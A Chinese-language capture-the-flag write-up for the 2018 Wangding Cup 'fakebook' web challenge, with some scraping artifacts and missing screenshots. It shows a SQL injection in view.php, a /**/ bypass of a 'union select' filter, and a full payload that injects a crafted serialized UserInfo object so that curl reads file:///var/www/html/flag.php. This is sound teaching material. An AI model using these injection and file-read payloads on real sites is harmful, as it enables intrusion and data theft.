网鼎杯_2018 _Web_fakebook

0x01

进入页面以下,咱们发现有两个按钮,login和joinphp

通常第一步咱们应该是先对网站进行扫描,看看有没有扫描目录和文件,可是我在扫描的时候发现返回的状态码全是200,显然是作了手脚,可是这里咱们还能够经过返回的页面长度来判断,由于不存在的页面都重定向到一个页面,发现存在robots.txt和flag.php,查看flag.php什么也看不到,那么查看robots.txt,结果以下html

提示咱们有备份文件,咱们下载下来,代码以下:sql

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这段代码我第一眼看到的就是__construct(),为何呢?由于作过比较多了序列化和反序列化的题目,因此看到这个就跟敏感,就有中要用到序列化或者反序列的预感,事实验证了个人猜想,getBlogContents()其中这个调用了blog这个变量,那看来一会必定要用到这个函数,因此要想法调用这个函数才行,到此,咱们先把这段代码给放一放数据库

0x02

思路到这里彷佛停滞不前了,好像忽然断了,那咱们想一想还有什么没有用到的地方,想到这里想起来,咱们还有一个按钮没点呢,就是join,咱们点击看一看curl

随便输入一下函数

而后回显到页面结果以下,看到回显的第一瞬间其实我是想到sql注入,可是这里尝试没有注入,与此同时看到回显结果的时候有一个地方引发了个人注意,就是username,其余的都是黑色的,只有这个是蓝色的,是有链接的,因此点击1网站

而后咱们来到了这里this

看到这里我就更加判定这里确定有注入,因此单引号尝试一下,果真有注入,那么接下来注入开始url

判断字段数

经过以上结果,咱们知道字段数为43d

判断数据库名

结果以下

那看来是过滤了,经过验证不是过滤的select,也不是union,而是过滤的union select这个总体,因此咱们能够把中间的空格改变一下就能够绕过,这里能够用/**/代替空格

结果以下

判断表名

获得表名users

判断列名

查数据

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:11:"www.123.com";}

获得了一段序列化代码,巧了,和以前代码分析的一段连上了

0x03

到目前为止,咱们先思考一下,首先咱们发现了一段代码,这段代码提示咱们可能须要序列化,其次咱们在后续的注入过程当中发现的数据是序列化的,这二者联系起来告诉咱们什么?告诉咱们,咱们须要在data数据上进行操做,什么操做?读取文件!但是该如何读取文件呢?这里很天然联想到了file协议,使用file协议来进行文件读取

序列化代码:

<?php
class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}

$a=new UserInfo();
echo serialize($a);
?>

payload:

view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

查看页面源代码:

很明显的提示,base64解密一下,结果以下:

拿到flag

总结:

CTF中常考序列化和反序列化,对于序列化中常见的一些函数必定要敏感,像这个题,我在看到备份文件代码的那一刻,就知道必定会用到序列化或者反序列化,再加上最后注入获得的data数据形式,无不在验证个人想法。

相关文章
相关标签/搜索